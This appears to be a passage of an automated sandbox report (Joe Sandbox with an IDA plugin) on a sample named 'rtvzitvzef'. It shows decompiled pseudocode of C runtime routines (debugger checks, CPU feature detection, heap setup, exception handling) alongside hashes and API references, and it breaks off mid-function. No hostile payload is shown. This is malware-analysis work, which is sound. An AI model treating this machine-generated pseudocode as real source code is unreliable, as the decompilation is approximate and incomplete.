          • Instruction ID: 14a4c43ae221a087ba2e54cae82e5269d91ef51e091833a4c589bd44d0fcfeb5
          • Opcode Fuzzy Hash: fefa28e21f4d9309c1ecd3ac6253e750ecc73c234d91debfceddd181198d7f09
          • Instruction Fuzzy Hash: 22110670D0021CAFDB00EFA8CD49BBEBBF8EB44314F208495EA15B7292D6755A44DF90
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 81%
          			E0040636B(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, char _a4, char _a8, char _a12) {
          				char _v0;
          				signed int _v8;
          				intOrPtr _v524;
          				intOrPtr _v528;
          				void* _v532;
          				intOrPtr _v536;
          				intOrPtr _v540;
          				intOrPtr _v544;
          				intOrPtr _v548;
          				intOrPtr _v552;
          				intOrPtr _v556;
          				intOrPtr _v560;
          				intOrPtr _v564;
          				intOrPtr _v568;
          				intOrPtr _v572;
          				intOrPtr _v576;
          				intOrPtr _v580;
          				intOrPtr _v584;
          				char _v724;
          				intOrPtr _v792;
          				intOrPtr _v800;
          				char _v804;
          				intOrPtr _v808;
          				char _v812;
          				void* __edi;
          				signed int _t40;
          				char* _t47;
          				intOrPtr _t49;
          				intOrPtr _t60;
          				intOrPtr _t61;
          				intOrPtr _t65;
          				intOrPtr _t66;
          				int _t67;
          				intOrPtr _t68;
          				signed int _t69;
          
          				_t68 = __esi;
          				_t65 = __edx;
          				_t60 = __ebx;
          				_t40 =  *0x418014; // 0xa3964780
          				_t41 = _t40 ^ _t69;
          				_v8 = _t40 ^ _t69;
          				if(_a4 != 0xffffffff) {
          					_push(_a4);
          					E0040195A(_t41);
          					_pop(_t61);
          				}
          				E004020F0(_t66,  &_v804, 0, 0x50);
          				E004020F0(_t66,  &_v724, 0, 0x2cc);
          				_v812 =  &_v804;
          				_t47 =  &_v724;
          				_v808 = _t47;
          				_v548 = _t47;
          				_v552 = _t61;
          				_v556 = _t65;
          				_v560 = _t60;
          				_v564 = _t68;
          				_v568 = _t66;
          				_v524 = ss;
          				_v536 = cs;
          				_v572 = ds;
          				_v576 = es;
          				_v580 = fs;
          				_v584 = gs;
          				asm("pushfd");
          				_pop( *_t22);
          				_t23 =  &_v0; // 0x0
          				_v540 =  *_t23;
          				_t25 =  &_v0; // 0x41667c
          				_t49 = _t25;
          				_v528 = _t49;
          				_v724 = 0x10001;
          				_t28 = _t49 - 4; // 0xfffffffe
          				_v544 =  *_t28;
          				_t30 =  &_a8; // 0x0
          				_v804 =  *_t30;
          				_t32 =  &_a12; // 0xfffffffe
          				_v800 =  *_t32;
          				_t34 =  &_v0; // 0x0
          				_v792 =  *_t34;
          				_t67 = IsDebuggerPresent();
          				SetUnhandledExceptionFilter(0);
          				_t36 =  &_v812; // 0x416350
          				if(UnhandledExceptionFilter(_t36) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
          					_t38 =  &_a4; // 0xffffffd0
          					_push( *_t38);
          					_t57 = E0040195A(_t57);
          				}
          				_t39 =  &_v8; // 0x0
          				return E00401BE5(_t57, _t60,  *_t39 ^ _t69, _t65, _t67, _t68);
          			}






































          0x0040636b
          0x0040636b
          0x0040636b
          0x00406376
          0x0040637b
          0x0040637d
          0x00406385
          0x00406387
          0x0040638a
          0x0040638f
          0x0040638f
          0x0040639b
          0x004063ae
          0x004063bc
          0x004063c2
          0x004063c8
          0x004063ce
          0x004063d4
          0x004063da
          0x004063e0
          0x004063e6
          0x004063ec
          0x004063f2
          0x004063f9
          0x00406400
          0x00406407
          0x0040640e
          0x00406415
          0x0040641c
          0x0040641d
          0x00406423
          0x00406426
          0x0040642c
          0x0040642c
          0x0040642f
          0x00406435
          0x0040643f
          0x00406442
          0x00406448
          0x0040644b
          0x00406451
          0x00406454
          0x0040645a
          0x0040645d
          0x0040646b
          0x0040646d
          0x00406473
          0x00406482
          0x0040648e
          0x0040648e
          0x00406491
          0x00406496
          0x00406497
          0x004064a3

          APIs
          • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00406463
          • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0040646D
          • UnhandledExceptionFilter.KERNEL32(00416350,?,?,?,?,?,?), ref: 0040647A
          Strings
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: ExceptionFilterUnhandled$DebuggerPresent
          • String ID: xfA
          • API String ID: 3906539128-2547998173
          • Opcode ID: ab89187c494adc915da360c4805c5dc327673be7f69fda436567295ad0e905a3
          • Instruction ID: 27c9b2d5d83fa03b24cdeef42b518778bdbb3f72f2c29e3cb957f73c7f56a9f2
          • Opcode Fuzzy Hash: ab89187c494adc915da360c4805c5dc327673be7f69fda436567295ad0e905a3
          • Instruction Fuzzy Hash: D931E57494121C9BCB21DF65D9887CDBBB4BF08310F5081EAE50DA72A0EB749F818F58
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 85%
          			E00401796(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
          				char _v0;
          				struct _EXCEPTION_POINTERS _v12;
          				intOrPtr _v80;
          				intOrPtr _v88;
          				char _v92;
          				intOrPtr _v608;
          				intOrPtr _v612;
          				void* _v616;
          				intOrPtr _v620;
          				char _v624;
          				intOrPtr _v628;
          				intOrPtr _v632;
          				intOrPtr _v636;
          				intOrPtr _v640;
          				intOrPtr _v644;
          				intOrPtr _v648;
          				intOrPtr _v652;
          				intOrPtr _v656;
          				intOrPtr _v660;
          				intOrPtr _v664;
          				intOrPtr _v668;
          				char _v808;
          				char* _t39;
          				long _t49;
          				intOrPtr _t51;
          				void* _t54;
          				intOrPtr _t55;
          				intOrPtr _t57;
          				intOrPtr _t58;
          				intOrPtr _t59;
          				intOrPtr* _t60;
          
          				_t59 = __esi;
          				_t58 = __edi;
          				_t57 = __edx;
          				if(IsProcessorFeaturePresent(0x17) != 0) {
          					_t55 = _a4;
          					asm("int 0x29");
          				}
          				E0040195A(_t34);
          				 *_t60 = 0x2cc;
          				_v632 = E004020F0(_t58,  &_v808, 0, 3);
          				_v636 = _t55;
          				_v640 = _t57;
          				_v644 = _t51;
          				_v648 = _t59;
          				_v652 = _t58;
          				_v608 = ss;
          				_v620 = cs;
          				_v656 = ds;
          				_v660 = es;
          				_v664 = fs;
          				_v668 = gs;
          				asm("pushfd");
          				_pop( *_t15);
          				_v624 = _v0;
          				_t39 =  &_v0;
          				_v612 = _t39;
          				_v808 = 0x10001;
          				_v628 =  *((intOrPtr*)(_t39 - 4));
          				E004020F0(_t58,  &_v92, 0, 0x50);
          				_v92 = 0x40000015;
          				_v88 = 1;
          				_v80 = _v0;
          				_t28 = IsDebuggerPresent() - 1; // -1
          				_v12.ExceptionRecord =  &_v92;
          				asm("sbb bl, bl");
          				_v12.ContextRecord =  &_v808;
          				_t54 =  ~_t28 + 1;
          				SetUnhandledExceptionFilter(0);
          				_t49 = UnhandledExceptionFilter( &_v12);
          				if(_t49 == 0 && _t54 == 0) {
          					_push(3);
          					return E0040195A(_t49);
          				}
          				return _t49;
          			}


































          0x00401796
          0x00401796
          0x00401796
          0x004017aa
          0x004017ac
          0x004017af
          0x004017af
          0x004017b3
          0x004017b8
          0x004017d0
          0x004017d6
          0x004017dc
          0x004017e2
          0x004017e8
          0x004017ee
          0x004017f4
          0x004017fb
          0x00401802
          0x00401809
          0x00401810
          0x00401817
          0x0040181e
          0x0040181f
          0x00401828
          0x0040182e
          0x00401831
          0x00401837
          0x00401846
          0x00401852
          0x0040185d
          0x00401864
          0x0040186b
          0x00401876
          0x0040187e
          0x00401887
          0x00401889
          0x0040188c
          0x0040188e
          0x00401898
          0x004018a0
          0x004018a6
          0x00000000
          0x004018ad
          0x004018b0

          APIs
          • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 004017A2
          • IsDebuggerPresent.KERNEL32 ref: 0040186E
          • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040188E
          • UnhandledExceptionFilter.KERNEL32(?), ref: 00401898
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
          • String ID:
          • API String ID: 254469556-0
          • Opcode ID: 08540eaf6671ec7f696a0aaf15c92f03ad5e830cf6d10267c62a163a4b023842
          • Instruction ID: a683ffaa2d68fa853aa4380f613157507114c95401a7bea838927c74ec0f93fa
          • Opcode Fuzzy Hash: 08540eaf6671ec7f696a0aaf15c92f03ad5e830cf6d10267c62a163a4b023842
          • Instruction Fuzzy Hash: DD313A75D01218DBDB10EFA5D9897CDBBB8BF08304F1081AAE50DA7290EB755B84CF08
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 88%
          			E00401A05(signed int __edx) {
          				signed int _v8;
          				signed int _v12;
          				signed int _v16;
          				signed int _v20;
          				signed int _v24;
          				signed int _v28;
          				signed int _v32;
          				signed int _v36;
          				signed int _v40;
          				intOrPtr _t60;
          				signed int _t61;
          				signed int _t62;
          				signed int _t63;
          				signed int _t66;
          				signed int _t67;
          				signed int _t73;
          				intOrPtr _t74;
          				intOrPtr _t75;
          				intOrPtr* _t77;
          				signed int _t78;
          				intOrPtr* _t82;
          				signed int _t85;
          				signed int _t90;
          				intOrPtr* _t93;
          				signed int _t96;
          				signed int _t99;
          				signed int _t104;
          
          				_t90 = __edx;
          				 *0x41896c =  *0x41896c & 0x00000000;
          				 *0x418010 =  *0x418010 | 0x00000001;
          				if(IsProcessorFeaturePresent(0xa) == 0) {
          					L23:
          					return 0;
          				}
          				_v20 = _v20 & 0x00000000;
          				_push(_t74);
          				_t93 =  &_v40;
          				asm("cpuid");
          				_t75 = _t74;
          				 *_t93 = 0;
          				 *((intOrPtr*)(_t93 + 4)) = _t74;
          				 *((intOrPtr*)(_t93 + 8)) = 0;
          				 *(_t93 + 0xc) = _t90;
          				_v16 = _v40;
          				_v8 = _v28 ^ 0x49656e69;
          				_v12 = _v32 ^ 0x6c65746e;
          				_push(_t75);
          				asm("cpuid");
          				_t77 =  &_v40;
          				 *_t77 = 1;
          				 *((intOrPtr*)(_t77 + 4)) = _t75;
          				 *((intOrPtr*)(_t77 + 8)) = 0;
          				 *(_t77 + 0xc) = _t90;
          				if((_v8 | _v12 | _v36 ^ 0x756e6547) != 0) {
          					L9:
          					_t96 =  *0x418970; // 0x2
          					L10:
          					_t85 = _v32;
          					_t60 = 7;
          					_v8 = _t85;
          					if(_v16 < _t60) {
          						_t78 = _v20;
          					} else {
          						_push(_t77);
          						asm("cpuid");
          						_t82 =  &_v40;
          						 *_t82 = _t60;
          						 *((intOrPtr*)(_t82 + 4)) = _t77;
          						 *((intOrPtr*)(_t82 + 8)) = 0;
          						_t85 = _v8;
          						 *(_t82 + 0xc) = _t90;
          						_t78 = _v36;
          						if((_t78 & 0x00000200) != 0) {
          							 *0x418970 = _t96 | 0x00000002;
          						}
          					}
          					_t61 =  *0x418010; // 0x6f
          					_t62 = _t61 | 0x00000002;
          					 *0x41896c = 1;
          					 *0x418010 = _t62;
          					if((_t85 & 0x00100000) != 0) {
          						_t63 = _t62 | 0x00000004;
          						 *0x41896c = 2;
          						 *0x418010 = _t63;
          						if((_t85 & 0x08000000) != 0 && (_t85 & 0x10000000) != 0) {
          							asm("xgetbv");
          							_v24 = _t63;
          							_v20 = _t90;
          							_t104 = 6;
          							if((_v24 & _t104) == _t104) {
          								_t66 =  *0x418010; // 0x6f
          								_t67 = _t66 | 0x00000008;
          								 *0x41896c = 3;
          								 *0x418010 = _t67;
          								if((_t78 & 0x00000020) != 0) {
          									 *0x41896c = 5;
          									 *0x418010 = _t67 | 0x00000020;
          									if((_t78 & 0xd0030000) == 0xd0030000 && (_v24 & 0x000000e0) == 0xe0) {
          										 *0x418010 =  *0x418010 | 0x00000040;
          										 *0x41896c = _t104;
          									}
          								}
          							}
          						}
          					}
          					goto L23;
          				}
          				_t73 = _v40 & 0x0fff3ff0;
          				if(_t73 == 0x106c0 || _t73 == 0x20660 || _t73 == 0x20670 || _t73 == 0x30650 || _t73 == 0x30660 || _t73 == 0x30670) {
          					_t99 =  *0x418970; // 0x2
          					_t96 = _t99 | 0x00000001;
          					 *0x418970 = _t96;
          					goto L10;
          				} else {
          					goto L9;
          				}
          			}






























          0x00401a05
          0x00401a08
          0x00401a12
          0x00401a23
          0x00401bd5
          0x00401bd8
          0x00401bd8
          0x00401a29
          0x00401a2f
          0x00401a34
          0x00401a38
          0x00401a3c
          0x00401a3e
          0x00401a40
          0x00401a43
          0x00401a48
          0x00401a51
          0x00401a62
          0x00401a6d
          0x00401a73
          0x00401a74
          0x00401a7a
          0x00401a7d
          0x00401a87
          0x00401a8a
          0x00401a8d
          0x00401a90
          0x00401ad5
          0x00401ad5
          0x00401adb
          0x00401adb
          0x00401ae0
          0x00401ae1
          0x00401ae7
          0x00401b19
          0x00401ae9
          0x00401aeb
          0x00401aec
          0x00401af2
          0x00401af5
          0x00401af7
          0x00401afa
          0x00401afd
          0x00401b00
          0x00401b03
          0x00401b0c
          0x00401b11
          0x00401b11
          0x00401b0c
          0x00401b1c
          0x00401b21
          0x00401b24
          0x00401b2e
          0x00401b39
          0x00401b3f
          0x00401b42
          0x00401b4c
          0x00401b57
          0x00401b63
          0x00401b66
          0x00401b69
          0x00401b74
          0x00401b79
          0x00401b7b
          0x00401b80
          0x00401b83
          0x00401b8d
          0x00401b95
          0x00401b9a
          0x00401ba4
          0x00401bb2
          0x00401bc5
          0x00401bcc
          0x00401bcc
          0x00401bb2
          0x00401b95
          0x00401b79
          0x00401b57
          0x00000000
          0x00401bd4
          0x00401a95
          0x00401a9f
          0x00401ac4
          0x00401aca
          0x00401acd
          0x00000000
          0x00000000
          0x00000000
          0x00000000

          APIs
          • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00401A1B
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: FeaturePresentProcessor
          • String ID:
          • API String ID: 2325560087-0
          • Opcode ID: 444eac7619679f0b1c908bb5714ddf954d856699ccdef152b9532d6ef9c270d5
          • Instruction ID: 373c9e0b331e01b867620f19eefc06ae9d0af40db80eaee874182935490031f7
          • Opcode Fuzzy Hash: 444eac7619679f0b1c908bb5714ddf954d856699ccdef152b9532d6ef9c270d5
          • Instruction Fuzzy Hash: BC512CB1A116498BDB18CF55D8857AABBF0FB48314F25C47AD411EB3A0E7789940CF58
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E0040B0AF() {
          				signed int _t3;
          
          				_t3 = GetProcessHeap();
          				 *0x41931c = _t3;
          				return _t3 & 0xffffff00 | _t3 != 0x00000000;
          			}




          0x0040b0af
          0x0040b0b7
          0x0040b0bf

          APIs
          Memory Dump Source
          • Source File: 00000001.00000002.253945200.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000001.00000002.253939046.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253974669.0000000000411000.00000002.00000001.01000000.00000004.sdmpDownload File
          • Associated: 00000001.00000002.253985561.0000000000418000.00000004.00000001.01000000.00000004.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_400000_rtvzitvzef.jbxd
          Similarity
          • API ID: HeapProcess
          • String ID:
          • API String ID: 54951025-0
          • Opcode ID: 2a9567a9e267271494f45bdb79e66690527d5ec8c2dee9d2a85c32e1b9fd09d0
          • Instruction ID: 74de3031397c736b7dccde65fcb57def8cf328ed7ad9373991e44c4c279619cd
          • Opcode Fuzzy Hash: 2a9567a9e267271494f45bdb79e66690527d5ec8c2dee9d2a85c32e1b9fd09d0
          • Instruction Fuzzy Hash: FCA02230E00300CF8B00CF32AE0838C3FEABA0C2C0300C038E800C20B0EB3088808F08
          Uniqueness

          Uniqueness Score: -1.00%

          Memory Dump Source
          • Source File: 00000001.00000002.254422832.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_9f0000_rtvzitvzef.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 6a074607bc74a68e46ffcf8def79e123d6f3babf0396bd4cc77b36b90dcd7b6b
          • Instruction ID: e4222fbfd5ac9acd0ccb9ad8ebe359c4b14d3bcecdfbca2aaaf7de2430a2c190
          • Opcode Fuzzy Hash: 6a074607bc74a68e46ffcf8def79e123d6f3babf0396bd4cc77b36b90dcd7b6b
          • Instruction Fuzzy Hash: F2117036604119AFD720EF69C8849BAB7EDEF947A47048015FD55CB212E334ED81C764
          Uniqueness

          Uniqueness Score: -1.00%

          Memory Dump Source
          • Source File: 00000001.00000002.254422832.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_9f0000_rtvzitvzef.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: ec8e751651157bc76042a6f737d25c3298a3c098193b98f67a4d4adab9605e7b
          • Instruction ID: d47af0028176d6a3ac38b800163ea7cd09b11caa9c7f35207590211e7e22cf83
          • Opcode Fuzzy Hash: ec8e751651157bc76042a6f737d25c3298a3c098193b98f67a4d4adab9605e7b
          • Instruction Fuzzy Hash: A6E01235764549EFDB54CBA8CD41D65B3FCEB49320B144690F925C73A1E634ED00D750
          Uniqueness

          Uniqueness Score: -1.00%

          Memory Dump Source
          • Source File: 00000001.00000002.254422832.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_9f0000_rtvzitvzef.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 14c979a1a0daa279b65c5726769cbc87c4fd01d1be4397ac1552cbcc502d36f8
          • Instruction ID: a2324a6b39098234d6a689ab2315a8264ff461bfe8a327575167f824ea7faefe
          • Opcode Fuzzy Hash: 14c979a1a0daa279b65c5726769cbc87c4fd01d1be4397ac1552cbcc502d36f8
          • Instruction Fuzzy Hash: F3E04F323146189BC7719B59C840DA6F7ECEBC87B0B594425EE4997612C230FC01C790
          Uniqueness

          Uniqueness Score: -1.00%

          Memory Dump Source
          • Source File: 00000001.00000002.254422832.00000000009F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_1_2_9f0000_rtvzitvzef.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
          • Instruction ID: 01513cdb45ce42654985ae443ff07ed2023d2f9c2cc80418f216d1c85a703bac
          • Opcode Fuzzy Hash: 7c05f99247aa81ce170190a3f42a6638173cba83a8e8f878aed30f5516b3ecb7
          • Instruction Fuzzy Hash: ECC00139661A40CFCA55CF08C194E00B3F4FB5D760B068491E906CB732C234ED40DA40
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 71%
          			E0040333B(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
          				signed char* _v0;
          				signed int _v8;
          				signed int _v12;
          				signed int _v16;
          				signed int _v20;
          				intOrPtr _v24;
          				char _v28;
          				signed int _v32;
          				signed int _v36;
          				signed int _v40;
          				signed int _v44;
          				intOrPtr _v48;
          				signed int _v52;
          				intOrPtr _v56;
          				intOrPtr _v60;
          				void _v64;
          				signed int _v68;
          				char _v84;
          				intOrPtr _v88;
          				signed int _v92;
          				intOrPtr _v100;
          				void _v104;
          				intOrPtr* _v112;
          				signed char* _v184;
          				void* __ebx;
          				void* __edi;
          				void* __esi;
          				void* __ebp;
          				void* _t201;
          				signed int _t202;
          				char _t203;
          				signed int _t205;
          				signed int _t207;
          				signed char* _t208;
          				signed int _t209;
          				signed int _t210;
          				signed int _t214;
          				void* _t217;
          				signed char* _t220;
          				void* _t222;
          				void* _t224;
          				signed char _t228;
          				signed int _t229;
          				void* _t231;
          				void* _t234;
          				void* _t237;
          				signed int _t247;
          				void* _t250;
          				intOrPtr* _t251;
          				signed int _t252;
          				intOrPtr _t253;
          				signed int _t254;
          				void* _t259;
          				void* _t264;
          				void* _t265;
          				signed int _t269;
          				signed char* _t270;
          				intOrPtr* _t271;
          				signed char _t272;
          				signed int _t273;
          				signed int _t274;
          				intOrPtr* _t276;
          				signed int _t277;
          				signed int _t278;
          				signed int _t283;
          				signed int _t290;
          				signed int _t291;
          				signed int _t294;
          				signed int _t296;
          				signed char* _t297;
          				signed int _t298;
          				signed char _t299;
          				signed int* _t301;
          				signed char* _t304;
          				signed int _t314;
          				signed int _t315;
          				signed int _t317;
          				signed int _t327;
          				void* _t329;
          				void* _t331;
          				void* _t332;
          				void* _t333;
          				void* _t334;
          
          				_t296 = __edx;
          				_push(_t315);
          				_t301 = _a20;
          				_v20 = 0;
          				_v28 = 0;
          				_t275 = E00403EF9(_a8, _a16, _t301);
          				_t332 = _t331 + 0xc;
          				_v12 = _t275;
          				if(_t275 < 0xffffffff || _t275 >= _t301[1]) {
          					L67:
          					_t201 = E0040623E(_t270, _t275, _t296, _t315);
          					asm("int3");
          					_t329 = _t332;
          					_t333 = _t332 - 0x38;
          					_push(_t270);
          					_t271 = _v112;
          					__eflags =  *_t271 - 0x80000003;
          					if( *_t271 == 0x80000003) {
          						return _t201;
          					} else {
          						_push(_t315);
          						_push(_t301);
          						_t202 = E00402403(_t271, _t275, _t296, _t315);
          						__eflags =  *(_t202 + 8);
          						if( *(_t202 + 8) != 0) {
          							__imp__EncodePointer(0);
          							_t315 = _t202;
          							_t222 = E00402403(_t271, _t275, _t296, _t315);
          							__eflags =  *((intOrPtr*)(_t222 + 8)) - _t315;
          							if( *((intOrPtr*)(_t222 + 8)) != _t315) {
          								__eflags =  *_t271 - 0xe0434f4d;
          								if( *_t271 != 0xe0434f4d) {
          									__eflags =  *_t271 - 0xe0434352;
          									if( *_t271 != 0xe0434352) {
          										_t214 = E00402881(_t296, _t315, _t271, _a4, _a8, _a12, _a16, _a24, _a28);
          										_t333 = _t333 + 0x1c;
          										__eflags = _t214;
          										if(_t214 != 0) {
          											L84:
          											return _t214;
          										}
          									}
          								}
          							}
          						}
          						_t203 = _a16;
          						_v28 = _t203;
          						_v24 = 0;
          						__eflags =  *(_t203 + 0xc);
          						if( *(_t203 + 0xc) > 0) {
          							_push(_a24);
          							E004027B4(_t271, _t275, 0, _t315,  &_v44,  &_v28, _a20, _a12, _t203);
          							_t298 = _v40;
          							_t334 = _t333 + 0x18;
          							_t214 = _v44;
          							_v20 = _t214;
          							_v12 = _t298;
          							__eflags = _t298 - _v32;
          							if(_t298 >= _v32) {
          								goto L84;
          							}
          							_t277 = _t298 * 0x14;
          							__eflags = _t277;
          							_v16 = _t277;
          							do {
          								_t278 = 5;
          								_t217 = memcpy( &_v64,  *((intOrPtr*)( *_t214 + 0x10)) + _t277, _t278 << 2);
          								_t334 = _t334 + 0xc;
          								__eflags = _v64 - _t217;
          								if(_v64 > _t217) {
          									goto L83;
          								}
          								__eflags = _t217 - _v60;
          								if(_t217 > _v60) {
          									goto L83;
          								}
          								_t220 = _v48 + 0xfffffff0 + (_v52 << 4);
          								_t283 = _t220[4];
          								__eflags = _t283;
          								if(_t283 == 0) {
          									L81:
          									__eflags =  *_t220 & 0x00000040;
          									if(( *_t220 & 0x00000040) == 0) {
          										_push(0);
          										_push(1);
          										E004032BB(_t298, _t271, _a4, _a8, _a12, _a16, _t220, 0,  &_v64, _a24, _a28);
          										_t298 = _v12;
          										_t334 = _t334 + 0x30;
          									}
          									goto L83;
          								}
          								__eflags =  *((char*)(_t283 + 8));
          								if( *((char*)(_t283 + 8)) != 0) {
          									goto L83;
          								}
          								goto L81;
          								L83:
          								_t298 = _t298 + 1;
          								_t214 = _v20;
          								_t277 = _v16 + 0x14;
          								_v12 = _t298;
          								_v16 = _t277;
          								__eflags = _t298 - _v32;
          							} while (_t298 < _v32);
          							goto L84;
          						}
          						E0040623E(_t271, _t275, _t296, _t315);
          						asm("int3");
          						_push(_t329);
          						_t297 = _v184;
          						_push(_t271);
          						_push(_t315);
          						_push(0);
          						_t205 = _t297[4];
          						__eflags = _t205;
          						if(_t205 == 0) {
          							L109:
          							_t207 = 1;
          							__eflags = 1;
          						} else {
          							_t276 = _t205 + 8;
          							__eflags =  *_t276;
          							if( *_t276 == 0) {
          								goto L109;
          							} else {
          								__eflags =  *_t297 & 0x00000080;
          								_t304 = _v0;
          								if(( *_t297 & 0x00000080) == 0) {
          									L91:
          									_t272 = _t304[4];
          									_t317 = 0;
          									__eflags = _t205 - _t272;
          									if(_t205 == _t272) {
          										L101:
          										__eflags =  *_t304 & 0x00000002;
          										if(( *_t304 & 0x00000002) == 0) {
          											L103:
          											_t208 = _a4;
          											__eflags =  *_t208 & 0x00000001;
          											if(( *_t208 & 0x00000001) == 0) {
          												L105:
          												__eflags =  *_t208 & 0x00000002;
          												if(( *_t208 & 0x00000002) == 0) {
          													L107:
          													_t317 = 1;
          													__eflags = 1;
          												} else {
          													__eflags =  *_t297 & 0x00000002;
          													if(( *_t297 & 0x00000002) != 0) {
          														goto L107;
          													}
          												}
          											} else {
          												__eflags =  *_t297 & 0x00000001;
          												if(( *_t297 & 0x00000001) != 0) {
          													goto L105;
          												}
          											}
          										} else {
          											__eflags =  *_t297 & 0x00000008;
          											if(( *_t297 & 0x00000008) != 0) {
          												goto L103;
          											}
          										}
          										_t207 = _t317;
          									} else {
          										_t184 = _t272 + 8; // 0x6e
          										_t209 = _t184;
          										while(1) {
          											_t273 =  *_t276;
          											__eflags = _t273 -  *_t209;
          											if(_t273 !=  *_t209) {
          												break;
          											}
          											__eflags = _t273;
          											if(_t273 == 0) {
          												L97:
          												_t210 = _t317;
          											} else {
          												_t274 =  *((intOrPtr*)(_t276 + 1));
          												__eflags = _t274 -  *((intOrPtr*)(_t209 + 1));
          												if(_t274 !=  *((intOrPtr*)(_t209 + 1))) {
          													break;
          												} else {
          													_t276 = _t276 + 2;
          													_t209 = _t209 + 2;
          													__eflags = _t274;
          													if(_t274 != 0) {
          														continue;
          													} else {
          														goto L97;
          													}
          												}
          											}
          											L99:
          											__eflags = _t210;
          											if(_t210 == 0) {
          												goto L101;
          											} else {
          												_t207 = 0;
          											}
          											goto L110;
          										}
          										asm("sbb eax, eax");
          										_t210 = _t209 | 0x00000001;
          										__eflags = _t210;
          										goto L99;
          									}
          								} else {
          									__eflags =  *_t304 & 0x00000010;
          									if(( *_t304 & 0x00000010) != 0) {
          										goto L109;
          									} else {
          										goto L91;
          									}
          								}
          							}
          						}
          						L110:
          						return _t207;
          					}
          				} else {
          					_t270 = _a4;
          					if( *_t270 != 0xe06d7363 || _t270[0x10] != 3 || _t270[0x14] != 0x19930520 && _t270[0x14] != 0x19930521 && _t270[0x14] != 0x19930522) {
          						L22:
          						_t296 = _a12;
          						_v8 = _t296;
          						goto L24;
          					} else {
          						_t315 = 0;
          						if(_t270[0x1c] != 0) {
          							goto L22;
          						} else {
          							_t224 = E00402403(_t270, _t275, _t296, 0);
          							if( *((intOrPtr*)(_t224 + 0x10)) == 0) {
          								L61:
          								return _t224;
          							} else {
          								_t270 =  *(E00402403(_t270, _t275, _t296, 0) + 0x10);
          								_t259 = E00402403(_t270, _t275, _t296, 0);
          								_v28 = 1;
          								_v8 =  *((intOrPtr*)(_t259 + 0x14));
          								if(_t270 == 0 ||  *_t270 == 0xe06d7363 && _t270[0x10] == 3 && (_t270[0x14] == 0x19930520 || _t270[0x14] == 0x19930521 || _t270[0x14] == 0x19930522) && _t270[0x1c] == _t315) {
          									goto L67;
          								} else {
          									if( *((intOrPtr*)(E00402403(_t270, _t275, _t296, _t315) + 0x1c)) == _t315) {
          										L23:
          										_t296 = _v8;
          										_t275 = _v12;
          										L24:
          										_v52 = _t301;
          										_v48 = 0;
          										__eflags =  *_t270 - 0xe06d7363;
          										if( *_t270 != 0xe06d7363) {
          											L57:
          											__eflags = _t301[3];
          											if(_t301[3] <= 0) {
          												goto L60;
          											} else {
